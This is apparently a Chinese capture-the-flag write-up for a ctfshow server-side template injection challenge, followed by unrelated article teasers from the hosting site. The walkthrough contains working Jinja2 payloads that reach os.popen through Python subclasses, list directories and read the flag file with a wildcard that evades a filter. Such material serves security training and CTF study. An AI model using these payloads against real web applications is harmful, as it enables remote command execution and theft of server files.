easy_ssti_ctfshow_2023愚人杯

https://ctf.show/challenges#easy_ssti-3969

2023愚人杯

0aaf80533d9943b02fa2989bdc5aa7e

有提示app.zip,访问

https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip

得到压缩包,拿到一个py文件

aa7d335ec9c0084ccad97c9cc9dcf1a

可以看到参数名是name,对参数进行筛选,包含ge或者不包含f

访问

/hello/<name>

下面想办法找到一个function

  • payload
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}

f74e0c282dbe737b541a2eaf0e1a185

其中<class 'os._wrap_close'>就是os对象类

这里可以自己写段代码找找os在第几位

ori_str = """这里面就放网页复制的,篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):
    if "os._wrap_close" in item:
        print(index)

0eef9cc9051148d8bef87a0c31c5ebe

成功拿到os对象类

48edee4f0f78f0e1a9f0d52314e5061

如何拿到popen函数?

先获取对象的__init__属性,接着使用__globals__获取函数作用域下方法,里面则包含popen

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

img

下面就可以为所欲为了


img

  • 获取当前文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

hello app.py app.zip templates
  • 获取上级文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}

# 先cd ..回到上级目录 再用ls读取


hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

发现flag了,读取flag文件,因为屏蔽了f,所有这里使用通配符

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/595259.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安卓动态加载view

目录 前言一、addview1.1 addView 的重载方法1.2 在 LinearLayout 中的使用1.2.1 addView(View child)方法的分析&#xff1a;1.2.2 addView(View child, int index)方法的分析&#xff1a;1.2.3 小结 1.3 在 RelativeLayout 中的使用 二、addContentview2.1 测试 12.2 测试 22…

深度学习之基于Pytorch姿态估计的仰卧起坐计数系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 仰卧起坐作为一种常见的健身动作&#xff0c;被广泛用于腹部肌肉的锻炼。然而&#xff0c;对于仰卧起…

Java17 --- SpringCloud之Nacos

目录 一、下载nacos并运行 1.1、创建9001微服务作为提供者 1.2、创建80微服务作为消费者 二、naocs配置中心规则与动态刷新 2.1、创建3377微服务 2.2、在nacos中创建配置文件 三、nacos数据模型之Namespace-Group-Datald 3.1、DatalD方案 3.2、Group方案 3.3、Name…

Vite构造Vue3

环境安装 node.js安装-CSDN博客 初始化Vue项目安装脚手架_vue init webpack安装脚手架-CSDN博客 选择Vue框架 &#xff0c;项目名称可以自定义&#xff0c;我使用默认的 vite-project 选择JS 进入项目安装依赖

Windows平台通过MobaXterm远程登录安装在VMware上的Linux系统(CentOS)

MobaXterm是一个功能强大的远程计算工具&#xff0c;它提供了一个综合的远程终端和图形化的X11服务器。MobaXterm旨在简化远程计算任务&#xff0c;提供了许多有用的功能&#xff0c;使远程访问和管理远程服务器变得更加方便&#xff0c;它提供了一个强大的终端模拟器&#xff…

视频号小店在行业内的门槛高不高?有门槛是好事还是坏事?

大家好&#xff0c;我是电商小V 现在伴随着时代的慢慢发展&#xff0c;很多人都是想找一个好一点的创业项目&#xff0c;现在找创业项目都是找一些稍微有门槛的项目&#xff0c;没有门槛的话&#xff0c;要不然刚开始去做&#xff0c;项目就泛滥了&#xff0c;项目的红利期直接…

哪个牌子的电容笔好用?618五款爆款电容笔评测,不踩雷!

随着信息技术不断发展&#xff0c;iPad慢慢成为了现代年轻人工作、娱乐和学业的必备智能工具之一。然而&#xff0c;市场上涌现出众多品牌的电容笔&#xff0c;也存在着大量低质量的电容笔产品。这些产品往往无法达到预期的书写和绘画效果&#xff0c;反而可能导致用户体验不佳…

【kali换源之后签名无效,报错处理】

#一、问题&#xff1a;报错信息# 错误:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease 错误:2 http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling InRelease 错误:3 http://dl.google.com/linux/chrome/deb stable InRelease 错误:4 http://mirrors.aliyu…

PyQt5中重要的概念:信号与槽

PyQt中信号与槽概念定义如下&#xff08;网络上引用的&#xff09;&#xff1a; 信号&#xff08;signal&#xff09;和槽&#xff08;slot&#xff09;是Qt的核心机制&#xff0c;也是在PyQt编程中对象之间进行通信的机制。在创建事件循环之后&#xff0c;通过建立信号和槽的…

2024上半年软考机考新政策:科目连考、分批次考试

辽宁省信息技术教育中心发布了《关于2024年上半年计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试批次安排的通知》。 该通知明确了2024上半年软考辽宁考区的考试时间、考试方式、考试批次安排&#xff0c;与2023下半年软考机考形式有多处调整。 1、考试时间&am…

vtk教程:禁止VTK弹出警告窗口warning

在使用VTK&#xff08;Visualization Toolkit&#xff09;进行可视化操作时&#xff0c;有时候会弹出警告窗口&#xff08;warning messages&#xff09;&#xff0c;这些警告可能是由于数据问题或是API使用不当等原因触发的。 如果你希望在使用VTK时禁用这些警告窗口&#xff…

【微信小程序开发】微信小程序注册,配置开发者工具

准备工作 微信小程序小程序开发流程 开发过程注册小程序开发者工具开发界面介绍 微信小程序 一种新的开发能力&#xff0c;可以在微信内被便捷的获取和传播&#xff0c;具有出色的用户体验 地址&#xff1a;https://mp.weixin.qq.com/ 注册微信小程序 在进行开发之前我们应该…

09 华三 SSH

03 华三SSH 远程登录 1 AI解说官网 Kimi.ai - 帮你看更大的世界 (moonshot.cn) 华三交换机的SSH配置主要目的是通过SSH协议实现安全的远程登录和管理&#xff0c;以确保数据传输的安全性。以下是配置SSH的一般步骤和思路&#xff1a; 生成密钥对&#xff1a;首先需要在交换…

【重要】MThings V0.6.3更新要点

我们听到了您的声音并采取了行动&#xff01;现在为您提供了一次全面的软件升级&#xff0c;让您的体验更加顺畅、稳定和安全。立即更新&#xff0c;畅享新功能&#xff01; 下载地址&#xff1a; http://gulink.cn/download 重要通知&#xff1a; 摩尔信使MThings即将发布全新…

从ChatGPT革命性的对话系统,看人机交互模式6个阶段的演变

ChatGPT引领革命&#xff0c;看人机交互六步飞跃 ©作者|wy 来源|神州问学 引言 在科技的浪潮中&#xff0c;人机交互模式不断演进&#xff0c;从最初的简单指令输入到如今的智能对话系统&#xff0c;每一次革新都昭示着人类与机器交流方式的深刻变革。ChatGPT&#xff0…

小吉/希亦/鲸立内衣洗衣机怎么样?深度测评谁更好用!

内衣洗衣机是近几年新兴的家电产品&#xff0c;以清洁效果好、除菌能力强&#xff0c;被很多人种草入手了&#xff01;但网上有不少人虽感兴趣&#xff0c;但不清楚如何选。担心买到质量差&#xff0c;清洗不干净的产品。作为一名家电测评博主&#xff0c;我今天特意围绕被问最…

[AIGC] 事务的四大特性是怎么实现的

文章目录 原子性是通过 undo log实现的。一致性是通过 redo log实现的。隔离性的实现 &#xff08;分事务的隔离级别讨论&#xff09;持久性是利用 redo log 实现的 写入过程 原子性是通过 undo log实现的。 事务的所有 修改操作 (增、删、改)的相反操作都会写入undo log, 比如…

电脑快捷键怎么设置?记好这3个设置方法!

“作为一个职场小白&#xff0c;我对很多快捷键的应用都不是很熟悉&#xff0c;这导致我工作效率总是很低&#xff0c;大家平常在使用电脑时有什么比较好用的电脑快捷键设置方法给我推荐一下吗&#xff1f;” 在数字化时代&#xff0c;电脑已成为我们日常生活和工作的必备工具。…

基于Java.Web框架React、Vue.js技术开发的一套(C#医院体检系统成品源码、支持二开)

医院体检系统是一种专为体检中心/医院体检科等体检机构开发的全流程管理系统。该系统通过软件实现检测仪器数据的自动提取&#xff0c;内置多级医生工作台&#xff0c;细化工作并将体检检查结果汇总&#xff0c;生成体检报告登记到计算机系统中。此外&#xff0c;该系统还能进行…

什么是水经微图网络加密锁?

水经微图&#xff0c;以下简称“微图”。 我们在《什么是水经微图加密锁&#xff1f;》一文中&#xff0c;为你分享了什么是微图加密锁&#xff0c;以及其使用的方法。 现在&#xff0c;我们再为你分享什么是网络加密锁&#xff0c;以及其使用的方法。 什么是网络加密锁&…